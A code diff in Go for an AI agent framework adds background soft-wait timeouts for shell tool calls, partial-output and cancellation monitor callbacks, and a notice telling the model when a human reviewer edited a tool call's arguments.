|
}
|
||||||
|
|
||||||
// ctx 取消时关闭内层流,避免 amass 等长时间无换行输出时 Recv 永久阻塞。
|
// ctx 取消时关闭内层流,避免 amass 等长时间无换行输出时 Recv 永久阻塞。
|
||||||
stopWatch := make(chan struct{})
|
stopWatch := make(chan struct{})
|
||||||
@@ -181,11 +195,30 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
var invokeErr error
|
var invokeErr error
|
||||||
exitCode := 0
|
exitCode := 0
|
||||||
hasExitCode := false
|
hasExitCode := false
|
||||||
|
softReturned := false
|
||||||
|
var outCloseOnce sync.Once
|
||||||
|
closeOut := func() {
|
||||||
|
outCloseOnce.Do(func() { outW.Close() })
|
||||||
|
}
|
||||||
|
defer closeOut()
|
||||||
|
sendOut := func(resp *filesystem.ExecuteResponse, err error) bool {
|
||||||
|
if softReturned {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return outW.Send(resp, err)
|
||||||
|
}
|
||||||
|
|
||||||
idleWatch := security.NewShellInactivityWatch(noOutputSec)
|
idleWatch := security.NewShellInactivityWatch(noOutputSec)
|
||||||
if idleWatch != nil {
|
if idleWatch != nil {
|
||||||
defer idleWatch.Stop()
|
defer idleWatch.Stop()
|
||||||
}
|
}
|
||||||
|
var waitTimeoutCh <-chan time.Time
|
||||||
|
var waitTimer *time.Timer
|
||||||
|
if waitTimeoutSec > 0 {
|
||||||
|
waitTimer = time.NewTimer(time.Duration(waitTimeoutSec) * time.Second)
|
||||||
|
waitTimeoutCh = waitTimer.C
|
||||||
|
defer waitTimer.Stop()
|
||||||
|
}
|
||||||
|
|
||||||
type execRecvMsg struct {
|
type execRecvMsg struct {
|
||||||
resp *filesystem.ExecuteResponse
|
resp *filesystem.ExecuteResponse
|
||||||
@@ -206,8 +239,11 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
success = false
|
success = false
|
||||||
invokeErr = fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
invokeErr = fmt.Errorf("shell inactivity timeout (%ds)", idleWatch.Sec)
|
||||||
msg := security.ShellNoOutputTimeoutMessage(idleWatch.Sec)
|
msg := security.ShellNoOutputTimeoutMessage(idleWatch.Sec)
|
||||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
|
_ = sendOut(&filesystem.ExecuteResponse{Output: msg}, nil)
|
||||||
sb.WriteString(msg)
|
sb.WriteString(msg)
|
||||||
|
if w.appendPartialMonitor != nil && execID != "" {
|
||||||
|
w.appendPartialMonitor(execID, toolCallID, msg)
|
||||||
|
}
|
||||||
if w.outputChunk != nil && toolCallID != "" {
|
if w.outputChunk != nil && toolCallID != "" {
|
||||||
w.outputChunk("execute", toolCallID, msg)
|
w.outputChunk("execute", toolCallID, msg)
|
||||||
}
|
}
|
||||||
@@ -227,6 +263,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
case <-idleCh:
|
case <-idleCh:
|
||||||
fireInactivityTimeout()
|
fireInactivityTimeout()
|
||||||
break recvLoop
|
break recvLoop
|
||||||
|
case <-waitTimeoutCh:
|
||||||
|
if execID != "" && !softReturned {
|
||||||
|
msg := einoExecuteSoftWaitTimeoutResult(execID, waitTimeoutSec)
|
||||||
|
_ = outW.Send(&filesystem.ExecuteResponse{Output: msg}, nil)
|
||||||
|
softReturned = true
|
||||||
|
closeOut()
|
||||||
|
}
|
||||||
|
waitTimeoutCh = nil
|
||||||
case msg := <-recvCh:
|
case msg := <-recvCh:
|
||||||
rerr := msg.err
|
rerr := msg.err
|
||||||
resp := msg.resp
|
resp := msg.resp
|
||||||
@@ -244,7 +288,7 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
invokeErr = context.Canceled
|
invokeErr = context.Canceled
|
||||||
break recvLoop
|
break recvLoop
|
||||||
}
|
}
|
||||||
_ = outW.Send(nil, rerr)
|
_ = sendOut(nil, rerr)
|
||||||
break recvLoop
|
break recvLoop
|
||||||
}
|
}
|
||||||
if resp != nil {
|
if resp != nil {
|
||||||
@@ -263,11 +307,14 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
}
|
}
|
||||||
sb.WriteString(resp.Output)
|
sb.WriteString(resp.Output)
|
||||||
appended = resp.Output
|
appended = resp.Output
|
||||||
|
if w.appendPartialMonitor != nil && execID != "" {
|
||||||
|
w.appendPartialMonitor(execID, toolCallID, appended)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
|
if w.outputChunk != nil && strings.TrimSpace(appended) != "" {
|
||||||
w.outputChunk("execute", toolCallID, appended)
|
w.outputChunk("execute", toolCallID, appended)
|
||||||
}
|
}
|
||||||
if outW.Send(resp, nil) {
|
if sendOut(resp, nil) {
|
||||||
success = false
|
success = false
|
||||||
invokeErr = fmt.Errorf("execute stream closed by consumer")
|
invokeErr = fmt.Errorf("execute stream closed by consumer")
|
||||||
break recvLoop
|
break recvLoop
|
||||||
@@ -304,7 +351,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
// ADK 从本 Pipe 拼出 tool 消息正文;仅 Notify 尾标不会进入模型上下文。超时句写入流,与 UI 一致。
|
// ADK 从本 Pipe 拼出 tool 消息正文;仅 Notify 尾标不会进入模型上下文。超时句写入流,与 UI 一致。
|
||||||
if invokeErr != nil && errors.Is(invokeErr, context.DeadlineExceeded) {
|
if invokeErr != nil && errors.Is(invokeErr, context.DeadlineExceeded) {
|
||||||
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
|
hint := "\n\n" + einoExecuteTimeoutUserHint() + "\n"
|
||||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: hint}, nil)
|
_ = sendOut(&filesystem.ExecuteResponse{Output: hint}, nil)
|
||||||
|
if w.appendPartialMonitor != nil && execID != "" {
|
||||||
|
w.appendPartialMonitor(execID, toolCallID, hint)
|
||||||
|
}
|
||||||
if w.outputChunk != nil && tid != "" {
|
if w.outputChunk != nil && tid != "" {
|
||||||
w.outputChunk("execute", tid, hint)
|
w.outputChunk("execute", tid, hint)
|
||||||
}
|
}
|
||||||
@@ -313,9 +363,9 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
// 中断时循环内已逐行写入 stdout;此处只追加 USER INTERRUPT NOTE,避免整段输出重复。
|
// 中断时循环内已逐行写入 stdout;此处只追加 USER INTERRUPT NOTE,避免整段输出重复。
|
||||||
if invokeErr != nil && errors.Is(invokeErr, context.Canceled) && abortNote != "" {
|
if invokeErr != nil && errors.Is(invokeErr, context.Canceled) && abortNote != "" {
|
||||||
if partialStreamed != "" {
|
if partialStreamed != "" {
|
||||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
|
_ = sendOut(&filesystem.ExecuteResponse{Output: "\n\n" + mcp.AbortNoteBannerForModel + "\n" + abortNote}, nil)
|
||||||
} else if text := strings.TrimSpace(sb.String()); text != "" {
|
} else if text := strings.TrimSpace(sb.String()); text != "" {
|
||||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
|
_ = sendOut(&filesystem.ExecuteResponse{Output: text + "\n"}, nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
rawOutput := sb.String()
|
rawOutput := sb.String()
|
||||||
@@ -323,7 +373,10 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
if !success && hasExitCode && exitCode != 0 {
|
if !success && hasExitCode && exitCode != 0 {
|
||||||
statusLine := security.ExecuteFailureStatusLine(exitCode)
|
statusLine := security.ExecuteFailureStatusLine(exitCode)
|
||||||
if !strings.Contains(rawOutput, "命令执行失败:") {
|
if !strings.Contains(rawOutput, "命令执行失败:") {
|
||||||
_ = outW.Send(&filesystem.ExecuteResponse{Output: statusLine}, nil)
|
_ = sendOut(&filesystem.ExecuteResponse{Output: statusLine}, nil)
|
||||||
|
if w.appendPartialMonitor != nil && execID != "" {
|
||||||
|
w.appendPartialMonitor(execID, toolCallID, statusLine)
|
||||||
|
}
|
||||||
sb.WriteString(statusLine)
|
sb.WriteString(statusLine)
|
||||||
}
|
}
|
||||||
fireBody = einomcp.ToolErrorPrefix + security.FormatCommandFailureResult(exitCode, rawOutput)
|
fireBody = einomcp.ToolErrorPrefix + security.FormatCommandFailureResult(exitCode, rawOutput)
|
||||||
@@ -332,10 +385,25 @@ func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *fi
|
|||||||
w.finishMonitor(execID, toolCallID, command, sb.String(), success, invokeErr)
|
w.finishMonitor(execID, toolCallID, command, sb.String(), success, invokeErr)
|
||||||
}
|
}
|
||||||
if w.invokeNotify != nil {
|
if w.invokeNotify != nil {
|
||||||
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
|
if !softReturned {
|
||||||
|
w.invokeNotify.Fire(toolCallID, "execute", agentTag, success, fireBody, invokeErr)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
outW.Close()
|
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec, w.toolWaitTimeoutSeconds)
|
||||||
}(sr, userCmd, execCancel, timeoutCancel, execCtx, convID, execReg, toolRunReg, monitorExecID, tid, w.shellNoOutputTimeoutSec)
|
|
||||||
|
|
||||||
return outR, nil
|
return outR, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func einoExecuteSoftWaitTimeoutResult(executionID string, waitTimeoutSec int) string {
|
||||||
|
waitText := "configured wait timeout"
|
||||||
|
if waitTimeoutSec > 0 {
|
||||||
|
waitText = fmt.Sprintf("%ds", waitTimeoutSec)
|
||||||
|
}
|
||||||
|
return fmt.Sprintf(`工具已提交到后台执行,当前仍在运行。
|
||||||
|
|
||||||
|
execution_id: %s
|
||||||
|
status: running
|
||||||
|
wait_timeout: %s
|
||||||
|
|
||||||
|
你可以继续推理、改用其他工具,或调用 get_tool_execution / wait_tool_execution 读取 partial_output 并继续等待;也可以调用 cancel_tool_execution 取消。`, executionID, waitText)
|
||||||
|
}
|
||||||
|
|||||||
@@ -153,6 +153,81 @@ func TestEinoStreamingShellWrap_InactivityAfterPartialOutput(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestEinoStreamingShellWrap_SoftWaitTimeoutReturnsExecutionIDAndKeepsRunning(t *testing.T) {
|
||||||
|
inner := &mockStreamingShellPartialThenHang{}
|
||||||
|
partialCh := make(chan string, 4)
|
||||||
|
cancelCh := make(chan context.CancelFunc, 1)
|
||||||
|
unregistered := make(chan string, 1)
|
||||||
|
wrap := &einoStreamingShellWrap{
|
||||||
|
inner: inner,
|
||||||
|
toolWaitTimeoutSeconds: 1,
|
||||||
|
beginMonitor: func(toolCallID, command string) string {
|
||||||
|
return "exec-soft-wait"
|
||||||
|
},
|
||||||
|
appendPartialMonitor: func(executionID, toolCallID, chunk string) {
|
||||||
|
partialCh <- chunk
|
||||||
|
},
|
||||||
|
registerCancelMonitor: func(executionID string, cancel context.CancelFunc) {
|
||||||
|
if executionID == "exec-soft-wait" {
|
||||||
|
cancelCh <- cancel
|
||||||
|
}
|
||||||
|
},
|
||||||
|
unregisterCancelMonitor: func(executionID string) {
|
||||||
|
unregistered <- executionID
|
||||||
|
},
|
||||||
|
}
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
defer cancel()
|
||||||
|
sr, err := wrap.ExecuteStreaming(ctx, &filesystem.ExecuteRequest{Command: "sudo whoami"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ExecuteStreaming: %v", err)
|
||||||
|
}
|
||||||
|
defer sr.Close()
|
||||||
|
|
||||||
|
var got strings.Builder
|
||||||
|
for {
|
||||||
|
resp, rerr := sr.Recv()
|
||||||
|
if errors.Is(rerr, io.EOF) {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if rerr != nil {
|
||||||
|
t.Fatalf("recv: %v", rerr)
|
||||||
|
}
|
||||||
|
if resp != nil {
|
||||||
|
got.WriteString(resp.Output)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
body := got.String()
|
||||||
|
if !strings.Contains(body, "execution_id: exec-soft-wait") || !strings.Contains(body, "status: running") {
|
||||||
|
t.Fatalf("expected background execution marker, got: %q", body)
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case chunk := <-partialCh:
|
||||||
|
if !strings.Contains(chunk, "[sudo] password") {
|
||||||
|
t.Fatalf("unexpected partial chunk: %q", chunk)
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
t.Fatal("expected streamed partial output before soft wait return")
|
||||||
|
}
|
||||||
|
if !inner.called {
|
||||||
|
t.Fatal("inner shell did not run")
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case registeredCancel := <-cancelCh:
|
||||||
|
registeredCancel()
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("expected execution cancel registration")
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case id := <-unregistered:
|
||||||
|
if id != "exec-soft-wait" {
|
||||||
|
t.Fatalf("unexpected unregistered id: %q", id)
|
||||||
|
}
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("expected execution cancel unregister")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
type mockStreamingShellHanging struct {
|
type mockStreamingShellHanging struct {
|
||||||
called bool
|
called bool
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -82,7 +82,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
}
|
}
|
||||||
|
|
||||||
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
|
||||||
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
||||||
mainDefs := ag.ToolsForRole(roleTools)
|
mainDefs := ag.ToolsForRole(roleTools)
|
||||||
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
|
mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, einoSingleAgentName)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -139,7 +139,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
}
|
}
|
||||||
if einoSkillMW != nil {
|
if einoSkillMW != nil {
|
||||||
if einoFSTools && einoLoc != nil {
|
if einoFSTools && einoLoc != nil {
|
||||||
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
fsMw, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, einoSingleAgentName, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||||
if fsErr != nil {
|
if fsErr != nil {
|
||||||
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
|
return nil, fmt.Errorf("eino single filesystem 中间件: %w", fsErr)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -107,8 +107,12 @@ func subAgentFilesystemMiddleware(
|
|||||||
invokeNotify *einomcp.ToolInvokeNotifyHolder,
|
invokeNotify *einomcp.ToolInvokeNotifyHolder,
|
||||||
einoAgentName string,
|
einoAgentName string,
|
||||||
beginMonitor func(toolCallID, command string) string,
|
beginMonitor func(toolCallID, command string) string,
|
||||||
|
appendPartialMonitor func(executionID, toolCallID, chunk string),
|
||||||
|
registerCancelMonitor func(executionID string, cancel context.CancelFunc),
|
||||||
|
unregisterCancelMonitor func(executionID string),
|
||||||
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
|
finishMonitor func(executionID, toolCallID, command, stdout string, success bool, invokeErr error),
|
||||||
toolTimeoutMinutes int,
|
toolTimeoutMinutes int,
|
||||||
|
toolWaitTimeoutSeconds int,
|
||||||
shellNoOutputTimeoutSec int,
|
shellNoOutputTimeoutSec int,
|
||||||
outputChunk func(toolName, toolCallID, chunk string),
|
outputChunk func(toolName, toolCallID, chunk string),
|
||||||
) (adk.ChatModelAgentMiddleware, error) {
|
) (adk.ChatModelAgentMiddleware, error) {
|
||||||
@@ -123,8 +127,12 @@ func subAgentFilesystemMiddleware(
|
|||||||
einoAgentName: strings.TrimSpace(einoAgentName),
|
einoAgentName: strings.TrimSpace(einoAgentName),
|
||||||
outputChunk: outputChunk,
|
outputChunk: outputChunk,
|
||||||
beginMonitor: beginMonitor,
|
beginMonitor: beginMonitor,
|
||||||
|
appendPartialMonitor: appendPartialMonitor,
|
||||||
|
registerCancelMonitor: registerCancelMonitor,
|
||||||
|
unregisterCancelMonitor: unregisterCancelMonitor,
|
||||||
finishMonitor: finishMonitor,
|
finishMonitor: finishMonitor,
|
||||||
toolTimeoutMinutes: toolTimeoutMinutes,
|
toolTimeoutMinutes: toolTimeoutMinutes,
|
||||||
|
toolWaitTimeoutSeconds: toolWaitTimeoutSeconds,
|
||||||
shellNoOutputTimeoutSec: shellNoOutputTimeoutSec,
|
shellNoOutputTimeoutSec: shellNoOutputTimeoutSec,
|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
@@ -138,6 +146,13 @@ func agentToolTimeoutMinutes(cfg *config.Config) int {
|
|||||||
return cfg.Agent.ToolTimeoutMinutes
|
return cfg.Agent.ToolTimeoutMinutes
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func agentToolWaitTimeoutSeconds(cfg *config.Config) int {
|
||||||
|
if cfg == nil {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return cfg.Agent.ToolWaitTimeoutSeconds
|
||||||
|
}
|
||||||
|
|
||||||
// agentShellNoOutputTimeoutSeconds:0=默认 300s(5 分钟);-1=关闭;>0=自定义秒数。
|
// agentShellNoOutputTimeoutSeconds:0=默认 300s(5 分钟);-1=关闭;>0=自定义秒数。
|
||||||
func agentShellNoOutputTimeoutSeconds(cfg *config.Config) int {
|
func agentShellNoOutputTimeoutSeconds(cfg *config.Config) int {
|
||||||
if cfg == nil {
|
if cfg == nil {
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package multiagent
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"errors"
|
"errors"
|
||||||
|
"io"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/cloudwego/eino/adk"
|
"github.com/cloudwego/eino/adk"
|
||||||
@@ -65,11 +66,51 @@ func hitlClearReturnDirectlyIfTransfer(ctx context.Context, toolName string) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func hitlEditedArgumentsNotice(original, edited string) string {
|
||||||
|
original = strings.TrimSpace(original)
|
||||||
|
edited = strings.TrimSpace(edited)
|
||||||
|
if edited == "" || edited == original {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return "[HITL] Human reviewer approved this tool call with edited arguments.\n" +
|
||||||
|
"Original arguments: " + original + "\n" +
|
||||||
|
"Executed arguments: " + edited + "\n\n"
|
||||||
|
}
|
||||||
|
|
||||||
|
func hitlPrependEditedArgumentsNotice(result, original, edited string) string {
|
||||||
|
notice := hitlEditedArgumentsNotice(original, edited)
|
||||||
|
if notice == "" {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
return notice + result
|
||||||
|
}
|
||||||
|
|
||||||
|
func hitlCollectStringStream(sr *schema.StreamReader[string]) (string, error) {
|
||||||
|
if sr == nil {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
defer sr.Close()
|
||||||
|
var b strings.Builder
|
||||||
|
for {
|
||||||
|
chunk, err := sr.Recv()
|
||||||
|
if errors.Is(err, io.EOF) {
|
||||||
|
return b.String(), nil
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return b.String(), err
|
||||||
|
}
|
||||||
|
b.WriteString(chunk)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
||||||
return func(next compose.InvokableToolEndpoint) compose.InvokableToolEndpoint {
|
return func(next compose.InvokableToolEndpoint) compose.InvokableToolEndpoint {
|
||||||
return func(ctx context.Context, input *compose.ToolInput) (*compose.ToolOutput, error) {
|
return func(ctx context.Context, input *compose.ToolInput) (*compose.ToolOutput, error) {
|
||||||
|
originalArgs := ""
|
||||||
|
editedArgs := ""
|
||||||
if input != nil {
|
if input != nil {
|
||||||
if fn, ok := ctx.Value(hitlInterceptorKey{}).(HITLToolInterceptor); ok && fn != nil {
|
if fn, ok := ctx.Value(hitlInterceptorKey{}).(HITLToolInterceptor); ok && fn != nil {
|
||||||
|
originalArgs = input.Arguments
|
||||||
edited, err := fn(ctx, input.Name, input.Arguments)
|
edited, err := fn(ctx, input.Name, input.Arguments)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if IsHumanRejectError(err) {
|
if IsHumanRejectError(err) {
|
||||||
@@ -85,11 +126,17 @@ func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if edited != "" {
|
if edited != "" {
|
||||||
|
editedArgs = edited
|
||||||
input.Arguments = edited
|
input.Arguments = edited
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return next(ctx, input)
|
out, err := next(ctx, input)
|
||||||
|
if err != nil || out == nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
out.Result = hitlPrependEditedArgumentsNotice(out.Result, originalArgs, editedArgs)
|
||||||
|
return out, nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -97,8 +144,11 @@ func hitlInvokableToolCallMiddleware() compose.InvokableToolMiddleware {
|
|||||||
func hitlStreamableToolCallMiddleware() compose.StreamableToolMiddleware {
|
func hitlStreamableToolCallMiddleware() compose.StreamableToolMiddleware {
|
||||||
return func(next compose.StreamableToolEndpoint) compose.StreamableToolEndpoint {
|
return func(next compose.StreamableToolEndpoint) compose.StreamableToolEndpoint {
|
||||||
return func(ctx context.Context, input *compose.ToolInput) (*compose.StreamToolOutput, error) {
|
return func(ctx context.Context, input *compose.ToolInput) (*compose.StreamToolOutput, error) {
|
||||||
|
originalArgs := ""
|
||||||
|
editedArgs := ""
|
||||||
if input != nil {
|
if input != nil {
|
||||||
if fn, ok := ctx.Value(hitlInterceptorKey{}).(HITLToolInterceptor); ok && fn != nil {
|
if fn, ok := ctx.Value(hitlInterceptorKey{}).(HITLToolInterceptor); ok && fn != nil {
|
||||||
|
originalArgs = input.Arguments
|
||||||
edited, err := fn(ctx, input.Name, input.Arguments)
|
edited, err := fn(ctx, input.Name, input.Arguments)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if IsHumanRejectError(err) {
|
if IsHumanRejectError(err) {
|
||||||
@@ -111,11 +161,26 @@ func hitlStreamableToolCallMiddleware() compose.StreamableToolMiddleware {
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if edited != "" {
|
if edited != "" {
|
||||||
|
editedArgs = edited
|
||||||
input.Arguments = edited
|
input.Arguments = edited
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return next(ctx, input)
|
out, err := next(ctx, input)
|
||||||
|
if err != nil || out == nil {
|
||||||
|
return out, err
|
||||||
|
}
|
||||||
|
if hitlEditedArgumentsNotice(originalArgs, editedArgs) == "" {
|
||||||
|
return out, nil
|
||||||
|
}
|
||||||
|
result, collectErr := hitlCollectStringStream(out.Result)
|
||||||
|
if collectErr != nil {
|
||||||
|
return nil, collectErr
|
||||||
|
}
|
||||||
|
out.Result = schema.StreamReaderFromArray([]string{
|
||||||
|
hitlPrependEditedArgumentsNotice(result, originalArgs, editedArgs),
|
||||||
|
})
|
||||||
|
return out, nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -135,7 +135,7 @@ func RunDeepAgent(
|
|||||||
mcpIDs = append(mcpIDs, id)
|
mcpIDs = append(mcpIDs, id)
|
||||||
mcpIDsMu.Unlock()
|
mcpIDsMu.Unlock()
|
||||||
}
|
}
|
||||||
einoExecBegin, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish := newEinoExecuteMonitorCallbacks(ctx, ag, recorder)
|
||||||
|
|
||||||
// 与单代理流式一致:在 response_start / response_delta 的 data 中带当前 mcpExecutionIds,供主聊天绑定复制与展示。
|
// 与单代理流式一致:在 response_start / response_delta 的 data 中带当前 mcpExecutionIds,供主聊天绑定复制与展示。
|
||||||
snapshotMCPIDs := func() []string {
|
snapshotMCPIDs := func() []string {
|
||||||
@@ -240,7 +240,7 @@ func RunDeepAgent(
|
|||||||
}
|
}
|
||||||
if einoSkillMW != nil {
|
if einoSkillMW != nil {
|
||||||
if einoFSTools && einoLoc != nil {
|
if einoFSTools && einoLoc != nil {
|
||||||
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||||
if fsErr != nil {
|
if fsErr != nil {
|
||||||
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
|
return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
|
||||||
}
|
}
|
||||||
@@ -387,8 +387,12 @@ func RunDeepAgent(
|
|||||||
einoAgentName: orchestratorName,
|
einoAgentName: orchestratorName,
|
||||||
outputChunk: nil,
|
outputChunk: nil,
|
||||||
beginMonitor: einoExecBegin,
|
beginMonitor: einoExecBegin,
|
||||||
|
appendPartialMonitor: einoExecAppendPartial,
|
||||||
|
registerCancelMonitor: einoExecRegisterCancel,
|
||||||
|
unregisterCancelMonitor: einoExecUnregisterCancel,
|
||||||
finishMonitor: einoExecFinish,
|
finishMonitor: einoExecFinish,
|
||||||
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
|
toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
|
||||||
|
toolWaitTimeoutSeconds: agentToolWaitTimeoutSeconds(appCfg),
|
||||||
shellNoOutputTimeoutSec: agentShellNoOutputTimeoutSeconds(appCfg),
|
shellNoOutputTimeoutSec: agentShellNoOutputTimeoutSeconds(appCfg),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -486,7 +490,7 @@ func RunDeepAgent(
|
|||||||
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
|
// 构建 filesystem 中间件(与 Deep sub-agent 一致)
|
||||||
var peFsMw adk.ChatModelAgentMiddleware
|
var peFsMw adk.ChatModelAgentMiddleware
|
||||||
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
|
if einoSkillMW != nil && einoFSTools && einoLoc != nil {
|
||||||
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
peFsMw, err = subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, "executor", einoExecBegin, einoExecAppendPartial, einoExecRegisterCancel, einoExecUnregisterCancel, einoExecFinish, agentToolTimeoutMinutes(appCfg), agentToolWaitTimeoutSeconds(appCfg), agentShellNoOutputTimeoutSeconds(appCfg), nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
|
return nil, fmt.Errorf("plan_execute filesystem 中间件: %w", err)
|
||||||
}
|
}
|
||||||
@@ -715,7 +719,7 @@ func historyToMessages(history []agent.ChatMessage, appCfg *config.Config, mwCfg
|
|||||||
opts = append(opts, schema.WithToolName(tn))
|
opts = append(opts, schema.WithToolName(tn))
|
||||||
}
|
}
|
||||||
content := h.Content
|
content := h.Content
|
||||||
if !h.ModelFacingTrace {
|
if !h.ModelFacingTrace || (toolContentMax > 0 && len(content) > toolContentMax) {
|
||||||
content = normalizeRestoredToolContent(content, toolContentMax)
|
content = normalizeRestoredToolContent(content, toolContentMax)
|
||||||
}
|
}
|
||||||
raw = append(raw, schema.ToolMessage(content, h.ToolCallID, opts...))
|
raw = append(raw, schema.ToolMessage(content, h.ToolCallID, opts...))
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ func TestHistoryToMessagesNormalizesLegacyRawToolOutput(t *testing.T) {
|
|||||||
|
|
||||||
